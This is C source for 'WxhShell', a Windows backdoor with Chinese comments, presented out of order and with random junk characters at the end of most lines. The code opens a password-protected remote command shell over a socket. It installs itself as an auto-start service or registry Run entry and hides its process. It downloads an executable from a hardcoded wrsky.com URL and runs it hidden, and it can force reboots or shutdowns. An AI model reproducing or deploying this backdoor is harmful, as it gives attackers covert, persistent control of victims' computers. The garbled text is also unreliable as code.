    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bQ:3G;  
    if(Boot(SHUTDOWN)) OB? 79l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UdM5R [  
    else { H&>>]DD  
    closesocket(wsh); ;wYwiSVd  
    ExitThread(0); Fy+7{=?^F  
    } 3!L<=X  
    break; -^nQ^Td=j  
    } /v5g;x_T  
  // 获取shell JD\-X(O  
  case 's': { ;]`NR  
    CmdShell(wsh); JXa%TpI: E  
    closesocket(wsh); N6 }i>";_;  
    ExitThread(0); kI1{>vYD  
    break; vG Lb2Q  
  } #.t$A9'  
  // 退出 u3?Pp[tM<  
  case 'x': { Wn9Mr2r!*,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !?>p]0*<  
    CloseIt(wsh); OmUw.VH  
    break; Zn=JmZ  
    } `a1R "A  
  // 离开 q'8@0FT0  
  case 'q': { 1_E3DXe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :92a34  
    closesocket(wsh); ~4 xBa:*z  
    WSACleanup(); (k HQKQmq  
    exit(1); YI(OrR;V  
    break; H fmMf^c  
        } BrH`:Dw  
  } }Us$y0W\  
  } @snLE?g j  
x`|tT%q@l  
  // 提示信息 J$ih|nP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +`vZg^_c`  
} =rtA{g$)+  
  } ST [1'T+L  
 #,9TJ:~N  
  return; 7J_f/st  
} YNQ6(HA  
vYm& AD  
// shell模块句柄 |h~/Zz=  
int CmdShell(SOCKET sock) 2 n+XML  
{ k^%ec3l  
STARTUPINFO si;  ,8 NEnB  
ZeroMemory(&si,sizeof(si)); l$~bkVNL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7 |eSvC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +Q#Qu0_   
PROCESS_INFORMATION ProcessInfo; _w,0wn9N$  
char cmdline[]="cmd"; Ak-7}i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > mDubP  
  return 0; s/&]gj "  
} &^D@(m7>{K  
~E|V{z%  
// 自身启动模式 G78j$ ^/0  
int StartFromService(void) %_=R&m'n`  
{ U=#ylQ   
typedef struct Z1lF[d,f;  
{ U\GZ  
  DWORD ExitStatus; V4i%|vV  
  DWORD PebBaseAddress; N S}`(N  
  DWORD AffinityMask; G(3la3\(  
  DWORD BasePriority; E&tmWOMj>  
  ULONG UniqueProcessId; DWxh{h">  
  ULONG InheritedFromUniqueProcessId; :mHtK)z~  
}   PROCESS_BASIC_INFORMATION; S7>gNE;%]u  
[k{iN1n  
PROCNTQSIP NtQueryInformationProcess; Q>c6ouuJ  
Y_YIJ@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <%JO 3E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cQ ;Ry!$  
8t \>  
  HANDLE             hProcess; A|OC?NZY  
  PROCESS_BASIC_INFORMATION pbi; b1^Yxe#L  
^ nZ2p$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~TR|Pv  
  if(NULL == hInst ) return 0; {hP&P  
U jzz`!mz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]BBgU[O) !  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /%w[q:..h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x#VUEu]8  
:%oj'm44!  
  if (!NtQueryInformationProcess) return 0; 1>{-wL4rc  
c^gIK1f-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'n#S6.Y:  
  if(!hProcess) return 0; 5VoiDM=\c  
% x;!s=U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wz)9/bL  
8mddI  
  CloseHandle(hProcess); nv Gd:]Z  
yzl\{I&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n k3lC/f  
if(hProcess==NULL) return 0; ",_  
&V{,D))6[  
HMODULE hMod; ov>L-  
char procName[255]; BtApl)q#  
unsigned long cbNeeded; eE_XwLE  
7f,W zvV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C2i..iD  
~y^lNgujO  
  CloseHandle(hProcess); s""8V_,;  
~o5iCt;w  
if(strstr(procName,"services")) return 1; // 以服务启动 PzkXrDlB7  
fsuvg jlE  
  return 0; // 注册表启动 yyDBW`V((  
} -s "$I:v  
xmx;tq  
// 主模块 VjM uU"++@  
int StartWxhshell(LPSTR lpCmdLine) 4ux5G`oL  
{ <t@*[Aw  
  SOCKET wsl; ID+k`nP  
BOOL val=TRUE; TBT*j&!L  
  int port=0; WfO$q^'?DP  
  struct sockaddr_in door; CxQ,yd;>  
Khd,|pM  
  if(wscfg.ws_autoins) Install(); 5)<jPyC  
}"k(kH  
port=atoi(lpCmdLine); [&V%rhi  
r0bPaAKw  
if(port<=0) port=wscfg.ws_port; zD-8#H35X"  
XnOl*#P  
  WSADATA data; P9wDTZ :4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 83*k.]S`  
Jz'+@q6h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k@U`?7X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B(dL`]@Xm  
  door.sin_family = AF_INET; k<qH<<r*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z+7S,M  
  door.sin_port = htons(port); NZP,hAUK,  
|_m;@.44?U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v}D!  
closesocket(wsl); u)pBFs<dn  
return 1; CU_06A|}  
} 6P|neb}  
4*W7{MPY  
  if(listen(wsl,2) == INVALID_SOCKET) { %L.+r!.  
closesocket(wsl); {jG`l$$  
return 1; `_i-BdW  
} 4/|=0TC;  
  Wxhshell(wsl); Q2=~  
  WSACleanup(); (J*0/7 eX  
tEs$+b  
return 0; q4= RE  
M czWg  
} A[bxxQSP\H  
OpQa!  
// 以NT服务方式启动 R&0l4g-4>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *Rd&4XG  
{ B"v=Fr[  
DWORD   status = 0; i\G3 u#  
  DWORD   specificError = 0xfffffff; 3>6o=7/PU  
a{W-+t   
  serviceStatus.dwServiceType     = SERVICE_WIN32; GZo4uwG@a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f14c} YY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IpxjP\  
  serviceStatus.dwWin32ExitCode     = 0; (tvh9 o  
  serviceStatus.dwServiceSpecificExitCode = 0; Zpmy)W]1  
  serviceStatus.dwCheckPoint       = 0; s-B\8&^C  
  serviceStatus.dwWaitHint       = 0; U|nk8 6r  
)EoG@:[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 25L{bcng  
  if (hServiceStatusHandle==0) return; 3[rB:cE/  
9D,& )6  
status = GetLastError(); d}Om?kn  
  if (status!=NO_ERROR) O}Jb,?p  
{ j*{bM{~T<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H=jnCGk  
    serviceStatus.dwCheckPoint       = 0; q}jf&xUWzH  
    serviceStatus.dwWaitHint       = 0; ( EX  
    serviceStatus.dwWin32ExitCode     = status; rxARJ so  
    serviceStatus.dwServiceSpecificExitCode = specificError; UL/>t}AG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); heWb(E&  
    return; DYS(ZY)4  
  } dQ[lXV[}v  
1;W>ceN"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]^y}}y  
  serviceStatus.dwCheckPoint       = 0;  oa|0=  
  serviceStatus.dwWaitHint       = 0; O,cx9N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :.cX3dP@  
} RjDFc:bB  
oC [g  
// 处理NT服务事件,比如:启动、停止 .<.qRq-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }5k"aCno  
{ m{*l6`dF  
switch(fdwControl) II91Ia  
{ [>-k(D5D  
case SERVICE_CONTROL_STOP: f As:[  
  serviceStatus.dwWin32ExitCode = 0; Cv|:.y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (GQy"IuFh  
  serviceStatus.dwCheckPoint   = 0; S;])Nt'X'  
  serviceStatus.dwWaitHint     = 0; t`AD9 H"\!  
  { CqoL5qt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^.(]i \V_  
  } g=pDC+  
  return; z,9qAts?mh  
case SERVICE_CONTROL_PAUSE: zE[c$KPP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lg^m?~{  
  break; #xc[)Y,W  
case SERVICE_CONTROL_CONTINUE: h2q]!01XP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7-5q\[ZK  
  break; $H#&.IjY  
case SERVICE_CONTROL_INTERROGATE: 1$^{Uma  
  break; C?O{l%0  
}; h %nZKhm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pQp}HD!-  
} C>+UZ  
O/k4W#  
// 标准应用程序主函数 C.@zVt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0h7\zoZ5  
{ b &JPLUr  
OD i)#  
// 获取操作系统版本 {?C7BClB  
OsIsNt=GetOsVer(); 6+It>mnR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WV8<gx`Q  
<W?,n%  
  // 从命令行安装 t`LH\]6@  
  if(strpbrk(lpCmdLine,"iI")) Install(); _uBf.Qfs  
MT9a1 >  
  // 下载执行文件 L]p:gI{m  
if(wscfg.ws_downexe) { {*|yU"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &L/ C:<.  
  WinExec(wscfg.ws_filenam,SW_HIDE); MB#%k#z`B  
} tSg#2  
@1>83-p"X  
if(!OsIsNt) { !XFN/-Q ,  
// 如果时win9x,隐藏进程并且设置为注册表启动 oreS u;`$  
HideProc(); vH?/YhH|  
StartWxhshell(lpCmdLine); F;zmq%rK  
} mb&b=&  
else ^)SvH  
  if(StartFromService()) 04( h!@!g:  
  // 以服务方式启动 b*bR<|dTj  
  StartServiceCtrlDispatcher(DispatchTable); Yux7kD\c  
else l/TH"z(  
  // 普通方式启动 f6m^pbQFl  
  StartWxhshell(lpCmdLine);  V C.r  
Kkd7D_bZ*  
return 0; ^wX_@?aKtt  
} im&| H-  
Qc3 !FW<26  
@50Js3R1q  
>_5D`^  
=========================================== P[Qr[74 )  
_]<]:b  
onjTuZ^h  
'8}\! i&  
^@6eN]  
wi9fYfuv3R  
" %~6+=*(\  
js>6Du  
#include <stdio.h> [%b<%m}L-  
#include <string.h> @]cpPW-b  
#include <windows.h> E[$['0  
#include <winsock2.h> C5eol &  
#include <winsvc.h> Q,s,EooIx  
#include <urlmon.h> l]%|w]i\  
\f+R!  
#pragma comment (lib, "Ws2_32.lib") A?_2@6Y^  
#pragma comment (lib, "urlmon.lib") 1Og9VG1^  
<,LeFy\zW  
#define MAX_USER   100 // 最大客户端连接数 UH[ YH;3O  
#define BUF_SOCK   200 // sock buffer 0m?ul%=  
#define KEY_BUFF   255 // 输入 buffer z`TI<B  
\0b ",|"3  
#define REBOOT     0   // 重启 [V1gj9t=,  
#define SHUTDOWN   1   // 关机 ,@<-h* m  
Tvk=NJ  
#define DEF_PORT   5000 // 监听端口 y{kXd1,  
[t ^|l?  
#define REG_LEN     16   // 注册表键长度 Ad]r )d{  
#define SVC_LEN     80   // NT服务名长度 _Jx?m  
(s}9N   
// 从dll定义API ~L?p/3m   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SLBKXj|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o2%"Luf<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QO|ODW+D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M`"2;  
}De)_E\~  
// wxhshell配置信息 }P^n /  
struct WSCFG { DNL TJrN  
  int ws_port;         // 监听端口 &9^c-;Vs  
  char ws_passstr[REG_LEN]; // 口令 j8N8|\n-  
  int ws_autoins;       // 安装标记, 1=yes 0=no i++ F&r[  
  char ws_regname[REG_LEN]; // 注册表键名  vlE#z  
  char ws_svcname[REG_LEN]; // 服务名 UY>{e>/H9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =niU6Q}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $KtMv +m"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ndx='j0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v3`J~,V<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6`EyzB%.$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rJZ-/]Xf!6  
M~3(4,  
}; ]>x674H  
zYH6+!VBH#  
// default Wxhshell configuration |"l g4S%  
struct WSCFG wscfg={DEF_PORT, =(zk-J<nY  
    "xuhuanlingzhe", b$g.">:$  
    1, mb?yG:L=0b  
    "Wxhshell", W*VQ"CW{^]  
    "Wxhshell", gSC8qip  
            "WxhShell Service", JB* *z00;  
    "Wrsky Windows CmdShell Service", yKq;EcVx  
    "Please Input Your Password: ", IgSe%B  
  1, a'Aru^el  
  "http://www.wrsky.com/wxhshell.exe", 8CMI\yk  
  "Wxhshell.exe" 4yjAi@ /2  
    }; o1YhYA  
MQp1j:CK  
// 消息定义模块 4|x5-m+T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 92eS*x2@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u;y1leG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ./.E=,j  
char *msg_ws_ext="\n\rExit."; 'gQm%:qU3r  
char *msg_ws_end="\n\rQuit."; bQ_i&t\yzB  
char *msg_ws_boot="\n\rReboot..."; 5>$*#0%"}  
char *msg_ws_poff="\n\rShutdown..."; -3ha LdRk6  
char *msg_ws_down="\n\rSave to "; qC IZW  
SyTcp?H  
char *msg_ws_err="\n\rErr!"; h]G }E9\l  
char *msg_ws_ok="\n\rOK!"; Jd/ 5Kx  
Zni8 im,_j  
char ExeFile[MAX_PATH]; Vs m06Rj{  
int nUser = 0; @4hxGk=  
HANDLE handles[MAX_USER]; u V=rLDY  
int OsIsNt; p5>TL!4M  
vPpbm  
SERVICE_STATUS       serviceStatus; (r:WG!I,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;LthdY()n(  
"'s`?  
// 函数声明 #P18vK5  
int Install(void); YIt:_][*  
int Uninstall(void); (w@|:0t^y[  
int DownloadFile(char *sURL, SOCKET wsh); V?5QpBK I  
int Boot(int flag); 4jO~kcad  
void HideProc(void); P?\rRB  
int GetOsVer(void); o y}(  
int Wxhshell(SOCKET wsl); G2rxr  
void TalkWithClient(void *cs); 0nG& LL5  
int CmdShell(SOCKET sock); *Cj]j-  
int StartFromService(void); ml\7JW6Rx  
int StartWxhshell(LPSTR lpCmdLine); Sr%~ 5Q[W  
}+I 8l'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {ZN{$Ad3/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Iu%/~FgPj{  
2 R1S>X  
// 数据结构和表定义 d ID] {  
SERVICE_TABLE_ENTRY DispatchTable[] = >PL/>   
{ d<fS52~l  
{wscfg.ws_svcname, NTServiceMain}, hq(3%- 7&  
{NULL, NULL} ;k(|ynXv  
}; c-z=(Z  
Z/:( *FC  
// 自我安装 ?jz{fU  
int Install(void) B_c(3n-"  
{ /8J2,8vZ  
  char svExeFile[MAX_PATH]; vWjK[5 M%  
  HKEY key; `[57U,v  
  strcpy(svExeFile,ExeFile); ?W%3>A  
8t0i j  
// 如果是win9x系统,修改注册表设为自启动 pl|< g9  
if(!OsIsNt) { ur9-F^$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Py;6K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f5mk\^  
  RegCloseKey(key); KDg!Y(m{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8t9sdqM/C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  nPvR  
  RegCloseKey(key); L$lo5  
  return 0; Ho\K %#u  
    } G'}%m;-mt  
  } ww+XE2,  
} .Uha%~%  
else { 3_vggK%  
k&yy_r   
// 如果是NT以上系统,安装为系统服务 Zff-Hl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pr@8PD2%  
if (schSCManager!=0) HPtaW:J  
{ ?HZ+fS ,-  
  SC_HANDLE schService = CreateService )x?F1/  
  ( !\+SE"ml  
  schSCManager, 2R:['QT  
  wscfg.ws_svcname, dKZffDTZ  
  wscfg.ws_svcdisp, F RS@-P  
  SERVICE_ALL_ACCESS, m' z<d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TX*s T  
  SERVICE_AUTO_START, }SUe 4r&4}  
  SERVICE_ERROR_NORMAL, tGv4 S\  
  svExeFile, gLd3,$ Ei  
  NULL, {#Mz4s`M  
  NULL, y4 P mL  
  NULL, ]*I&104{  
  NULL, CQ#p2  
  NULL kmo3<'j{  
  ); Gq+!%'][P  
  if (schService!=0) xxiEL2"`>  
  { [$-y8`~(  
  CloseServiceHandle(schService); Wa ,[#H  
  CloseServiceHandle(schSCManager); *8X: fq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *gVRMSrx4  
  strcat(svExeFile,wscfg.ws_svcname); F0Rk[GM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AR/`]"'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a"#5JcR3  
  RegCloseKey(key); )jCAfdnCs  
  return 0; \CU.'|X  
    } d&.)Dw  
  } wArNWBM  
  CloseServiceHandle(schSCManager); ,#D &*  
} S(9fGh  
} el-%#0  
`')3}  
return 1; au0)yg*V1  
} }$81FSKh  
b[$l{RQ[?  
// 自我卸载 0u -'{6  
int Uninstall(void) /,GDG=ra  
{ F4Z+)'oDr,  
  HKEY key; ks 3<zW(  
CXvL`d"  
if(!OsIsNt) { =#n|t[h-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u@[D*c1!H  
  RegDeleteValue(key,wscfg.ws_regname); W}a&L  
  RegCloseKey(key); lN{-}f;TN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~qco -b  
  RegDeleteValue(key,wscfg.ws_regname); R279=sO,J  
  RegCloseKey(key); o;_v'  
  return 0; nwHi3ojD:  
  } m~#98ZJ^  
} f{k2sU*uBE  
} 97'*Xq  
else { /nGsl<  
Y2QlK1.8V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G W|~sE +  
if (schSCManager!=0) YM/GSSq  
{ 7L? ~;;L$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e ST8>r  
  if (schService!=0) =<n+AqJ%  
  { UR:cBr  
  if(DeleteService(schService)!=0) { QJ-6aB  
  CloseServiceHandle(schService); vfcj,1  
  CloseServiceHandle(schSCManager); 5e6]v2 k  
  return 0; !imm17XQ\  
  } >Vn;1|w  
  CloseServiceHandle(schService); Y(-4Agq  
  } _;L9&>!p6  
  CloseServiceHandle(schSCManager); j#Bea ,  
} egK,e?~  
} 9JJ(KY  
3?.3Z!H/  
return 1; WENPS*0oS]  
} 7%&#V2  
M(0:>G  
// 从指定url下载文件 Qf6Vj,~N  
int DownloadFile(char *sURL, SOCKET wsh) oV&AJ=|\  
{ v<HhB.t.  
  HRESULT hr; q6%jCt2'  
char seps[]= "/"; 4b,N"w{v  
char *token; "z1\I\ ^  
char *file; =*~]lz__M  
char myURL[MAX_PATH]; b(wW;C'#0p  
char myFILE[MAX_PATH]; 4S`2")V  
wm%9>mA%  
strcpy(myURL,sURL); ^uD r  
  token=strtok(myURL,seps); Uw8O"}U8  
  while(token!=NULL) \/xWsbG\  
  { yCwBZ/C  
    file=token; xrFFmQ<_W  
  token=strtok(NULL,seps);  Cdin"  
  } kXFgvIpg<  
b*+Od8r  
GetCurrentDirectory(MAX_PATH,myFILE); :,h47'0A  
strcat(myFILE, "\\"); 4onRO!G,  
strcat(myFILE, file); =6y4*f  
  send(wsh,myFILE,strlen(myFILE),0); .J6Oiv.E  
send(wsh,"...",3,0); \tc 4DS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :aS8%m  
  if(hr==S_OK) Y6~/H  
return 0; OlL FuVR  
else xc7Wk&{=  
return 1; #2<.0@@ TI  
bS=aFl#  
} -aK_  
C_mPw  
// 系统电源模块 52 ? TLID  
int Boot(int flag) _WO*N9Iz  
{ 2R66 WK Q  
  HANDLE hToken; kTZ`RW&0  
  TOKEN_PRIVILEGES tkp; L  #c*)  
H`odQkZ!  
  if(OsIsNt) { xdGmiHN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3WZdP[o!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a NhI<.v  
    tkp.PrivilegeCount = 1; L 1iA ^ x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O~sv^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q$6fb)2I]e  
if(flag==REBOOT) { CV&+^_j'k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 29p`G1n  
  return 0; `"`/_al^  
} f86h"#4  
else { US3rkkgDO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f"My;K$l;  
  return 0; Z Z|a`U  
} GvQKFgO6h  
  } @AET.qGC  
  else { ElLDSo@WvR  
if(flag==REBOOT) { Qa-]IKOs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D_mdX9-~  
  return 0; rV;X1x}l  
} /E8{:>2  
else { $ <'i+kK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?XOl>IO  
  return 0; 3<">1] /,  
} c%,@O&o  
} R{={7.As+  
_gDEIoBp  
return 1; MtWzGE=?  
} $d\]s]}`  
,c }R*\  
// win9x进程隐藏模块 6_xPk`m  
void HideProc(void) .&Tcds  
{ hdW}._  
OAx5 LTd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;J<K/YdI  
  if ( hKernel != NULL ) W%$sA}O  
  { pHO,][VZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !Miw.UmPm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ).IB{+  
    FreeLibrary(hKernel); l6kqP  
  } ?4QX;s7  
/O@TqH  
return; <WPLjgtn3  
} rt +a/:4+  
,e]|[,r#5  
// 获取操作系统版本 bm`x;M^M  
int GetOsVer(void) [22>)1<(  
{ 5SOl:{A +  
  OSVERSIONINFO winfo; {c|{okQ;Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O:G5n 5J  
  GetVersionEx(&winfo);  AW[_k%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ! J7ExfEA  
  return 1; /^Ckk  
  else hW~XE{<  
  return 0; -(ev68'}W  
} E![Ye@w  
yAyq-G"sO  
// 客户端句柄模块 j2dptM3t{  
int Wxhshell(SOCKET wsl) 4 C7z6VWg  
{ DERhmJ;>H  
  SOCKET wsh; V$OZC;4  
  struct sockaddr_in client; %]U'   
  DWORD myID; z&R #j  
4ju=5D];   
  while(nUser<MAX_USER) K*"Wq:T;B  
{ q eW{Cl~  
  int nSize=sizeof(client); |O!G[|/3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v4$"{W;'  
  if(wsh==INVALID_SOCKET) return 1; IH2V .>h  
kiP-^Wan  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'Edm /+  
if(handles[nUser]==0) D# Gf.c  
  closesocket(wsh); He1hgJ)N  
else #uc9eh}CWO  
  nUser++; ~R+,4  
  } 7]J7'!Iz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l(~i>iQ 4  
K6BP~@H_D  
  return 0; !:^?GN#~x  
} o1k X`Eu  
:4\=xGiY  
// 关闭 socket Sy0-tK4  
void CloseIt(SOCKET wsh) Quts~Q  
{ ag* 5fBF  
closesocket(wsh); ^T< HD  
nUser--; C" 2K U*  
ExitThread(0); ?cvV~&$gc  
} # 9@K  
4^IqHx;bj  
// 客户端请求句柄 -(Fhj Ir  
void TalkWithClient(void *cs) s9\N{ar#  
{ wV{jJyRl  
"?n;dXYSi  
  SOCKET wsh=(SOCKET)cs; tmgZNg  
  char pwd[SVC_LEN]; ={k_ (8]  
  char cmd[KEY_BUFF]; $p)e.ZMgE  
char chr[1]; 0Z&ua  
int i,j; VEG p!~D  
PHh4ZFl]_I  
  while (nUser < MAX_USER) { 4R&e5!  
8iwH^+h~  
if(wscfg.ws_passstr) { nYE' 'g+x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mJYG k_ua  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "IA :,j.#g  
  //ZeroMemory(pwd,KEY_BUFF); Wi"3kps q  
      i=0; k"pN  
  while(i<SVC_LEN) { OBEHUJ5  
Kj/{V  
  // 设置超时 6Z>G%yK  
  fd_set FdRead; u$Ty|NBjn  
  struct timeval TimeOut; @;b @O _  
  FD_ZERO(&FdRead); zk^uS#  
  FD_SET(wsh,&FdRead); >MLP mER  
  TimeOut.tv_sec=8; -A(]U"@n  
  TimeOut.tv_usec=0; +]$c+!khj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,1e\}^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  8\Uy  
l<8+>W`_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #8CeTR23cw  
  pwd=chr[0]; k* e $_  
  if(chr[0]==0xd || chr[0]==0xa) { =EQaZ8k  
  pwd=0; +8Q5[lh2]j  
  break; 5}|bDJ$%_  
  } 16|miK[@  
  i++; +&*Ybbhb  
    } <o"2z~gv  
2=`}:&0l  
  // 如果是非法用户,关闭 socket )Pj4_$uM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %Y-KjSs+l  
} #QM9!k@9k  
nPg,(8Tt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V[^ +lR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )F3>  
/?B%,$~  
while(1) { .gs:.X)TG9  
"YoFUfaNg  
  ZeroMemory(cmd,KEY_BUFF); ^<`uyY))Q  
 +OeoA{-W  
      // 自动支持客户端 telnet标准   xW+ XN`77  
  j=0; 9ohO-t$XkY  
  while(j<KEY_BUFF) { (P|k$S?m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6e4A| <  
  cmd[j]=chr[0]; U`kO<ztk  
  if(chr[0]==0xa || chr[0]==0xd) { 5D<"kT  
  cmd[j]=0; fK; I0J  
  break; aSH =|Jnc  
  } -5u. Ix3  
  j++; ;wF)!d  
    } >fx/TSql:J  
LR% P\~  
  // 下载文件  G4{TJ,~  
  if(strstr(cmd,"http://")) { M <c cfU!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6T-iBJT  
  if(DownloadFile(cmd,wsh)) JTdcL mL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WF`  
  else `XK#sCC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =g<Yi2  
  } TQsTL2a  
  else { XBN,{  
y7-dae k  
    switch(cmd[0]) { b0h>q$b  
  UmOK7SPi  
